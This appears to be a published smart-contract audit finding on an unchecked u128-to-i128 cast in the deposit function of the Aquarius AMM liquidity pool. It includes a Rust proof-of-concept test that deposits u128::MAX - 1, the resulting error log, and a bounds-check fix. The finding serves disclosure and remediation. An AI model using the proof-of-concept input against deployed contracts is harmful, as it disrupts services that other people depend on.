AquaNetwork Aquarius

Published on June 05, 2025

KOSEC participated in a code review with Cantina to audit the AquaNetwork Aquarius AMM.

Summary

The deposit function in /liquidity_pool/src/contract.rs is vulnerable to a Denial-of-Service (DoS) attack due to an unchecked conversion from u128 to i128. A user can provide an extremely large u128 value for the desired token amount to trigger an integer overflow when it is cast to i128. One of the conversions with the missing check can be seen at line 272 of /liquidity_pool/src/contract.rs.

Finding Description

The deposit function in the LiquidityPool contract allows users to provide desired amounts of tokens to add liquidity. When the contract attempts to transfer tokens from the user, it uses the transfer in the SorobanTokenClient, which expects an i128 for the amount. The conversion from u128 to i128 for desired_a and desired_b is performed without any bounds checking at lines 272 and 273 in /liquidity_pool/src/contract.rs.

token_a_client.transfer(&user, &e.current_contract_address(), &(desired_a as i128));token_b_client.transfer(&user, &e.current_contract_address(), &(desired_b as i128));

The u128 type can hold values from 0 to (2**(n)) - 1 while i128 can hold values from -2**(n-1) to (2**(n-1)) - 1. If a u128 value greater than (2**(n-1)) - 1 is cast to i128, it results in an integer overflow.

Impact Explanation

The bug has a medium impact considering exploitation results in a DoS. Since any user can trigger this overflow, the only transaction that fails is their own and the ultimate result is a reverted transaction. Despite this, the LiquidityPool contract does still is pass an invalid argument to an external call due to an internal type conversion flaw. While the behavior of Soroban does have safeguards preventing the issue from escalating further, relying on an external contract for error handling on an internal integrity issue is not ideal.

Likelihood Explanation

The likelihood of this issue occurring is a medium since the value of u128::MAX is unrealistically high, however, the ability to trigger this overflow can be directly done via direct user input or potentially the Aquarius Web UI.

Proof of Concept

The following test demonstrates the vulnerability by attempting to deposit u128::MAX - 1 as one of the desired token amounts. This causes the transaction to fail due to a negative amount being passed to the token transfer function.

#[test]fn test_integration_poc() {    let setup = Setup::default();
    // create tokens    let mut tokens = std::vec![        create_token_contract(&setup.env, &setup.admin).address,        create_token_contract(&setup.env, &setup.admin).address,        create_token_contract(&setup.env, &setup.admin).address,    ];    tokens.sort();    let xlm = TokenClient::new(&setup.env, &tokens[0]);    let usdc = TokenClient::new(&setup.env, &tokens[1]);    let usdt = TokenClient::new(&setup.env, &tokens[2]);
    let xlm_admin = get_token_admin_client(&setup.env, &xlm.address);    let usdc_admin = get_token_admin_client(&setup.env, &usdc.address);    let usdt_admin = get_token_admin_client(&setup.env, &usdt.address);
    // deploy pools    let (standard_pool, standard_pool_hash) = setup.deploy_standard_pool(&xlm.address, &usdc.address, 30);    xlm_admin.mint(&setup.admin, &344_000_0000000);    usdc_admin.mint(&setup.admin, &100_000_0000000);
    let test_deposit: u128 = u128::MAX - 1;
    standard_pool.deposit(        &setup.admin,        &Vec::from_array(&setup.env, [344_000_0000000, test_deposit]),        &0,    );}

Below is the CLI Output demonstrating the negative amount is rejected in Event 5:

---- tests::test_integration_poc stdout ----
thread 'tests::test_integration_poc' panicked at /Users/v0ldemort/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/soroban-env-host-22.1.3/src/host.rs:847:9:HostError: Error(Contract, #8)
Event log (newest first):   0: [Diagnostic Event] topics:[error, Error(Contract, #8)], data:"escalating error to panic"   1: [Diagnostic Event] topics:[error, Error(Contract, #8)], data:["contract call failed", deposit, [CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD2KM, [3440000000000, 340282366920938463463374607431768211454], 0]]   2: [Failed Diagnostic Event (not emitted)] contract:CCL76SC6HJMM34D7MYKIMGJYMODAQYDNAEL7BZB4PVOIHCOXIHBPXUBZ, topics:[log], data:["VM call trapped with HostError", deposit, Error(Contract, #8)]   3: [Failed Diagnostic Event (not emitted)] contract:CCL76SC6HJMM34D7MYKIMGJYMODAQYDNAEL7BZB4PVOIHCOXIHBPXUBZ, topics:[error, Error(Contract, #8)], data:"escalating error to VM trap from failed host function call: call"   4: [Failed Diagnostic Event (not emitted)] contract:CCL76SC6HJMM34D7MYKIMGJYMODAQYDNAEL7BZB4PVOIHCOXIHBPXUBZ, topics:[error, Error(Contract, #8)], data:["contract call failed", transfer, [CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD2KM, CCL76SC6HJMM34D7MYKIMGJYMODAQYDNAEL7BZB4PVOIHCOXIHBPXUBZ, -2]]   5: [Failed Diagnostic Event (not emitted)] contract:CCF7HWZ6PBT2MQ6AUBKXM4CPWAR2PO6ND34WXLB32NDAYD7KIKBAAS7I, topics:[error, Error(Contract, #8)], data:["negative amount is not allowed", -2]
(...)

Recommendation

There should be an explicit bounds check on the u128 input amounts before they are cast to i128. This will prevent overflows and transaction failures. Below is a re-write of the lines 272 and 273 in /liquidity_pool/src/contract.rs with the suggested fix.

let desired_a_i128: i128 = match desired_a.try_into() {    Ok(val) => val,    Err(_) => panic_with_error!(&e, LiquidityPoolValidationError::InvalidDepositAmount),};
let desired_b_i128: i128 = match desired_b.try_into() {    Ok(val) => val,    Err(_) => panic_with_error!(&e, LiquidityPoolValidationError::InvalidDepositAmount),};
token_a_client.transfer(&user, &e.current_contract_address(), &desired_a_i128);token_b_client.transfer(&user, &e.current_contract_address(), &desired_b_i128);